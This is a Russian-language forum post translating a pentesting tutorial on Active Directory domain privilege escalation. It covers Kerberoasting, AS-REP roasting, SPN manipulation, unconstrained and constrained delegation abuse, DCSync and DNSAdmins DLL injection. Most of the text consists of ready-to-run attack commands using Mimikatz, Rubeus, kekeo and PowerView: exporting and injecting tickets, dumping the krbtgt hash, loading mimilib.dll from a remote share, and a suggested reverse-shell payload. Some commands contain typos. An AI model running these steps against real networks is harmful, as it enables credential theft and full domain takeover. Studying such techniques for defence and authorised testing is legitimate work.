Статья Active Directory - Domain Privilege Escalation

Jolah Milovski

RAM
Пользователь
Регистрация
17.06.2021
Сообщения
119
Реакции
150

Active Directory - Domain Privilege Escalation


Этот руководство объясняет повышение привилегий домена Active-Directory в основном с помощью Kerberos, AS-REP, Set-SPN и делегирование Kerberos. Также объясню те термины, которые должен знать каждый пентестер чтобы понимать атаки, выполняемые в сети Active Directory.

На протяжении всей статьи я буду использовать powerview.ps1 и Invoke-Mimikatz при повышении привилегий в Windows/Active Directory Domain. Если потребуются какие-либо другие инструменты, они будут упомянуты в конеце.

Kerberost

  • Автономный взлом паролей сервисных учетных записей.
  • Тикеты сеанса Kerberos (TGS) имеет серверную часть, которая зашифрована с хэшем пароля сервисной учетной записи. Это позволяет запросить тикет и провести офлайн-атаку на пароль.
  • Сервисные учетные записи часто игнорируются (пароли редко меняются) и имеют привилегированный доступ.
  • Хэши паролей учетных записей служб могут использоваться для создания silver ticket.

Методология

  • 1. Сначала найдите все учетные записи SPN
  • 2. Выберите SPN администратора домена, так как мы делаем повышение привилегий
  • 3. Установите имя участника-службы в качестве значения списка аргументов и создайте новый объект (запросите TGS).
  • 4. Экспортируйте все тикеты с помощью mimikatz
  • 5. Запишите имя файла, в котором хранится тикет этой службы.
  • 6. Взломайте тикет

PowerView

1. Найдите учетные записи пользователей, используемые в качестве служебной учетной записи.​

Код с оформлением (BB-коды):
Get-NetUser -SPN
Get-NetUser -SPN -Verbose | select displayname,memberof

Командлет

2. Запросить ТГС

Код с оформлением (BB-коды):
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "spn-name-here"

3. Проверьте, был ли предоставлен TGS

Код с оформлением (BB-коды):
klist

Invoke-Mimikatz

4. Экспортируйте все билеты

Код с оформлением (BB-коды):
Invoke-Mimikatz -Command '"kerberos::list /export"'

tgsrepcrack

5. Взломайте хэш

Код с оформлением (BB-коды):
python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\file-name-which-got-exported.kirbi


AS-REP

  • Если UserAccountControl в настройках включено «Не требовать предварительной аутентификации Kerberos» - предварительная аутентификация Kerberos отключена, можно получить взламываемый пользовательский AS-REP и перебором в автономном режиме.
  • При наличии достаточных прав ( GenericWrite или GenericAll ) предварительная проверка подлинности Kerberos также может быть принудительно отключена.

Методология

1. Перечислите пользователей, которым не требуется предварительная аутентификация
2. Вы можете попробовать отключить требование предварительной аутентификации пользователя, если у вас есть необходимые разрешения.
3. Выполните запрос AS-REP к пользователю и получите хеш.
4. Используйте JTR для взлома хэша

PowerView

1. Перечислить пользователей​

Код с оформлением (BB-коды):
Get-DomainUser -PreauthNotRequired -Verbose

Проверить права RDPUsers на ACL (дополнительно)

Код с оформлением (BB-коды):
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}

Отключить предварительную аутентификацию Kerberos (дополнительно)

Код с оформлением (BB-коды):
Set-DomainObject -Identity <user> -XOR @{useraccountcontrol=4194304} -Verbose

ASREPRoast

2. Запросить AS-REP

Код с оформлением (BB-коды):
et-ASREPHash -UserName USER -Verbose

Чтобы перечислить всех пользователей с отключенной предварительной аутентификацией Kerberos и запросить хэш (дополнительно)

Код с оформлением (BB-коды):
Invoke-ASREPRoast -Verbose


Set-SPN

  • При наличии достаточных прав ( GenericAll/GenericWrite ) SPN целевого пользователя может быть любым ( уникальным в домене ).
  • Затем мы можем запросить TGS без особых привилегий. После этого TGS может быть «обжарен через Kerberos».

Методология

1. Поиск всех участников, у которых есть определенная группа, необходимая в ACL; В этом случае RDPUsers
2. Убедитесь, что имя участника-службы еще не существует.
3. Если нет, создайте уникальный SPN для этой учетной записи.
4. Запрос TGS
5. Экспорт тикетов
6. Взломайте файл, созданный этой службой, с помощью JTR или tgsrepcrack.

PowerView

1. Проверьте групповые права на ACL

Код с оформлением (BB-коды):
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}

2. Проверьте, есть ли у пользователя имя участника-службы

Код с оформлением (BB-коды):
Get-DomainUser -Identity <user-here> | select serviceprincipalname

3. Установите имя участника-службы для пользователя (должно быть уникальным для домена).​

Код с оформлением (BB-коды):
Set-DomainoObject -Identity <user-here> -Set @{serviceprincipalname='ops/whatever1'}

Командлет

4. Запросить TGS

Код с оформлением (BB-коды):
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ops/whatever1"

Проверьте, был ли предоставлен TGS

Код с оформлением (BB-коды):
klist

Invoke-Mimikatz

5. Экспортируйте все тикеты

Код:
Invoke-Mimikatz -Command '"kerberos::list /export"'

Получить хэш цели напрямую (дополнительно)

Код с оформлением (BB-коды):
Get-DomainUser -Identity <user-here> | Get-DomainSPNTicket | select -ExpandProperty Hash

tgsrepcrack

6. Взломайте хэш

Код с оформлением (BB-коды):
python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\file-name-which-got-exported.kirbi


Неограниченное делегирование

  • Делегирование Kerberos позволяет «повторно использовать учетные данные конечного пользователя для доступа к ресурсам, размещенным на другом сервере».
  • Обычно это полезно в многоуровневых службах или приложениях, где требуется двойной переход Kerberos.
  • Например, пользователи аутентифицируются на веб-сервере, а веб-сервер делает запросы к серверу базы данных. Веб-сервер может запрашивать доступ к ресурсам (все или некоторые ресурсы в зависимости от типа делегирования) на сервер базы данных как пользователь, а не как служба веб-сервера учетной записи.
  • Обратите внимание, что для приведенного выше примера службы учетная запись для веб-службы должна быть доверенной, чтобы делегирование могло делать запросы как пользователь.

Краткое объяснение

uc-del


  1. Пользователь предоставляет учетные данные контроллеру домена.
  2. DC возвращает TGT.
  3. Пользователь запрашивает TGS для веб-службы на веб-сервере.
  4. DC предоставляет TGS.
  5. Пользователь отправляет TGT и TGS на веб-сервер.
  6. Учетная запись службы веб-сервера использует TGT пользователя для запроса TGS для сервера базы данных из контроллера домена.
  7. Учетная запись службы веб-сервера подключается к серверу базы данных в качестве пользователя.

Типы делегаций

Существует два основных типа делегирования:

  • Неограниченное делегирование : сервер первого перехода может запросить доступ к любой службе на любом компьютере.
  • Ограниченное делегирование : сервер первого перехода имеет список услуг, которые он может запросить.

Неограниченное делегирование

Машина в неограниченном делегировании

  • DC помещает TGT пользователя внутрь TGS. При представлении на сервер с неограниченным делегированием, TGT извлекается из TGS и сохраняется в LSASS . Таким образом, сервер может повторно использовать TGT пользователя для доступа к любому другому ресурсу от имени пользователя.
  • Этот может использоваться для повышения привилегий в случае, если мы сможем скомпрометировать компьютер с неограниченным делегированием и администратор домена подключается к эта машина

Методология

1. Например, у нас есть машина pwn1 в качестве неограниченного пользователя; Мы pwn0, и мы получили плацдарм/учетные данные/хэши для машины pwn2, у которой есть доступ локального администратора для машины pwn1; Следовательно, мы можем выполнить эту атаку
2. Получите сеанс Powershell от имени другого пользователя, используя хеша , если необходимо (в данном случае это pwn2/appadmin )
3. Мы можем попробовать найти локальных администраторов, к которым у него есть доступ, используя Find-LocalAdminAccess -Verbose.
4. Создайте New-PSSession , прикрепленный к «неограниченному пользователю»
5. Войдите в новый сеанс, используя Enter-PSSession.
6. Обойдите AMSI
7. ВЫХОД
8. Загрузите Mimikatz.ps1 в новую сессию с помощью команды Invoke
9. Войдите в новый сеанс Enter-PSSession снова
10. Теперь мы можем получить токен администратора и сохранить его на диск
11. Попробуйте проверить, есть ли у вас файл с DA
12. Если нет, мы можем попытаться извлечь какие-либо сеансы, зарегистрированные как администратор как pwn0, используя Invoke-Hunter , а затем снова запустить атаку.
13. Как только мы получим токен DA, мы можем повторно использовать токен, используя Invoke-Mimikatz.
14. Теперь мы можем получить доступ к любому сервису на DC; Пример ls \\dc-corp\C$или используйте WMI-команды

PowerView

1. Перечисление компьютеров с неограниченным делегированием

Код с оформлением (BB-коды):
Get-NetComputer -UnConstrained
Get-NetComputer -Unconstrained | select -ExpandProperty name

Игнорируйте контроллеры домена, если они появляются в списке, так как для них включено неограниченное делегирование.

2. Проверить наличие токена и сохранить на диск

Получите токен администратора. После компрометации компьютера с включенным UD мы можем обмануть или дождаться подключения администратора

Код с оформлением (BB-коды):
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'

3. Повторное использование токена DA

Код с оформлением (BB-коды):
Invoke-Mimikatz -Command '"kerberos::ptt Administrator@krbtgt-DOMAIN.LOCAL.kirbi"'

Invoke-Hunter

Извлечь любые сеансы, если вы вошли в систему с правами администратора (если сеанс администратора не найден)

Код с оформлением (BB-коды):
Invoke-UserHunter -ComputerName dcorp-appsrv -Poll 100 -UserName Administrator -Delay 5 -Verbose

Методология (метод ошибки принтера)

1. Тот же, что и выше, выполните атаку OPTH, чтобы получить повышенную оболочку как DA.
2. Установите Rubeus.exe для захвата хэшей
3. Запустите MS-RPRN.exe для использования ошибки принтера
4. Скопируйте закодированный в b64 тикет администратора DC
5. Теперь мы можем запустить DCSync-атаку против DC, используя внедренный тикет.

Rubeus.exe

1. Включите режим монитора на DA

Код с оформлением (BB-коды):
.\Rubeus.exe monitor /interval:5 /nowrap

MS-RPRN.exe

2. Используем баг принтера из uservm

Код с оформлением (BB-коды):
.\MS-RPRN.exe \\dc-user-here \\user-from-Poll-Server-Method

Rubeus.exe

3. Введите закодированный b64 тикет

Код с оформлением (BB-коды):
.\Rubeus.exe ptt /ticket:b64-text-goes-here

Invoke-Mimikatz

4. Выполните атаку DCSync против DCORP-DC, используя введенный тикет.

Код с оформлением (BB-коды):
. .\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'


Ограниченное делегирование

  • Ограниченное делегирование, если оно включено для учетной записи службы, разрешает доступ только к указанные службы на указанных компьютерах в качестве пользователя.
  • Типичный сценарий, в котором используется ограниченное делегирование - пользователь проходит аутентификацию в веб-службе без использования Kerberos, и веб-служба отправляет запросы на сервер базы данных для получения результатов на основе авторизации пользователя.

Требуются расширения

  • Для определения пользователя используется расширение Service for User (S4U), которое предоставляет два расширения:
    1. Служба пользователя для себя (S4U2self) : позволяет службе получить пересылаемый TGS для себя от имени пользователя.
    2. Служба пользователя для прокси (S4U2proxy) : позволяет службе получать TGS для второй службы от имени пользователя.

Подробное объяснение

Службы пользователя для себя(S4U2self): позволяет сервису получить TGS с возможностью переадресации для себя от имени пользователя только с основным именем пользователя без указания пароля. Учетная запись службы должна иметь TRUSTED_TO_AUTHENTICATE_FOR_DELEGATIONT2A4D UserAccountControl атрибут.

Служба пользователя для прокси(S4U2proxy) : позволяет сервису получать тикет TGS для второй службы от имени пользователя. Которая вторая служба? Это контролируется msDS-AllowedToDelegateTo.attribute. Этот атрибут содержит список имен участников-служб, к которым пользовательские токены могут быть отправлены.

Краткое объяснение

c-дел

  1. Пользователь - X, аутентифицируется в веб-службе (работает со службой учетная запись websvc) с использованием аутентификации, несовместимой с Kerberos - механизмом.
  2. Веб-сервис запрашивает тикет у ключа Центра распределения (KDC) для учетной записи X без указания пароля, как учетная запись websvc.
  3. KDC проверяет websvc значение userAccountControl для TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION атрибут, и что учетная запись X не заблокирована для делегирования. Если все в порядке возвращает пересылаемый тикет для учетной записи X (S4U2Self).
  4. Затем служба передает этот тикет обратно в KDC и запрашивает билет службы для CIFS/domain-here.
  5. KDC проверяет поле msDS-AllowedToDelegateTo в веб-службе учетной записи. Если служба указана, она вернет билет службы для запрошенных сервисов (S4U2Proxy).
  6. Теперь веб-служба может аутентифицироваться в CIFS в запрошенной службе как X, используя предоставленный TGS.

Методология

1. Перечислите всех пользователей с ограниченным делегированием.
2. msDS-AllowedToDelegateTo. значение
3. Запросить TGT по хешу пользователя с CD с помощью kekeo(тутЪ)
4. Запишите обратный тикет TGT.
5. Теперь запросите TGS со значениями 2-го и 4-го шагов в качестве параметров в /service и /tgt.
6. Запишите обратный тикет TGS.
7. Теперь мы можем внедрить обратный тикет TGS с помощью Inkove-Mimikatz.
8. Теперь мы можем перечислить файловые системы этой учетной записи. Пример : ls \\dc-account\C$ но не может использовать никакие WMI-команды
10. Но если пользовательский DC, мы можем выполнить тот же процесс, а затем DCSync. атаку

PowerView

1. Перечислить пользователей и компьютеры с включенным CD

Код с оформлением (BB-коды):
. .\PowerView_dev.ps1
# for users
Get-DomainUser -TrustedToAuth
# for computers
Get-DomainComputer -TrustedToAuth

keko

2. Запрос TGT

Код с оформлением (BB-коды):
.\kekeo.exe

tgt::ask /user:domain-here /domain:domain.local /rc4:rc4-hash-here

3. Запрос TGS​

Код с оформлением (BB-коды):
.\kekeo.exe

tgs::s4u /tgt:TGT.kirbi /user:Administrator@domain.local /service:cifs/computer.domain.LOCAL

nvoke-Mimikatz

4. Внедрение тикета

Код с оформлением (BB-коды):
Invoke-Mimikatz -Command '"kerberos::ptt TGS.kirbi"'

5. Выполните DCSync (дополнительно)

Код с оформлением (BB-коды):
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

6. Мы можем получить доступ к файловой системе

Код с оформлением (BB-коды):
ls \\dc-name-here\C$

Использование Rubeus.exe — UserX

1. Мы запрашиваем TGT для userX, используя его хэш NTLM, чтобы получить TGS для userX. как Администратор домена - Администратор. Затем TGS использовал для доступа сервис, указанный в параметре /msdsspn (который является файловой системой на dc-child)

Код с оформлением (BB-коды):
.\Rubeus.exe s4u /user:userX /rc4:rc4-hash-here /impersonateuser:Administrator /msdsspn:"CIFS/dc-child.child-domain.root-domain.LOCAL" /ptt

2. Проверьте, вводится ли TGS

Код с оформлением (BB-коды):
klist

3. Мы можем получить доступ к файловой системе

ls \\dc-name-here\C$

Использование Rubeus.exe - Computers

1. Злоупотребление делегированием computerX$ с помощью Rubeus (Примечание: используйте параметр /altservice, чтобы включить LDAP для атаки DCSync)

Код с оформлением (BB-коды):
.\Rubeus.exe s4u /user:comuterX$ /rc4:rc4-hash-here /impersonateuser:Administrator /msdsspn:"service-name-here" /altservice:ldap /ptt

2. Запустите атаку DCSync

Код с оформлением (BB-коды):
. .\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'


DNS-администраторы

  • Члены группы DNSAdmins могут загружать произвольные DLL с привилегиями dns.exe (SYSTEM).
  • В случае, если DC также служит DNS, это обеспечит нам эскалацию до DA. Нужны привилегии для перезапуска службы DNS.

Методология

1. Перечислите всех членов администраторов DNS.
2. Получите сеанс powershell от имени этого пользователя, используя «Pas the hash», поскольку у нас уже будет хэш.
3. Загрузите mimilib.dll с помощью dnscmd
4. Перезапустите DNS контроллера домена.
5. Теперь все DNS-запросы сохраняются в C:\Windows\System32\kiwidns.log.

РСАТ DNS

1. Из привилегий члена группы DNSAdmins настройте DLL с помощью dnscmd.exe.

Код с оформлением (BB-коды):
dnscmd dcorp-dc /config /serverlevelplugindll \\172.16.50.100\d11\mimilib.dll

2. Перезапустите службу DNS

Код с оформлением (BB-коды):
PS> cmd
sc \\dcorp-dc stop dns
sc \\dcorp-dc start dns

3. Использование модуля DNSServer

Код с оформлением (BB-коды):
$dnsettings = Get-DnsServerSetting -ComputerName dcorp-dc -Verbose -All
$dnsettings.ServerLevelPluginDll = "\\172.16.50.100\d11\mimilib.d11"
Set-DnsServerSetting -Inputobject $dnsettings -ComputerName dcorp-dc -Verbose

Пользовательский эксплойт для оболочки Rev

Мы можем отредактировать исходный код kdns.c из mikikatz и добавить нашу собственную вредоносную полезную нагрузку с помощью функции system() и вернуть нам обратную оболочку.

Используемые инструменты

  1. Скачать Invoke-Mimikatz отсюда: Invoke-Mimikatz
  2. Загрузите PowerView отсюда: powerview.ps1
  3. Загрузите PowerView Dev отсюда: powerview.ps1
  4. Invoke-UserHunter скачать отсюда: Invoke-UserHunter.ps1
  5. кеко скачать отсюда: кеко
  6. DnsCMD скачать отсюда: DnsCMD
  7. tgsrepcrack.py скачать отсюда: tgsrepcrack.py
  8. Скачать ASREPRoast отсюда: ASREEProast.ps1
Перевод статьи https://0xstarlight.github.io/posts/Active-Directory-Domain-Privilege-Escalation/
 


Напишите ответ...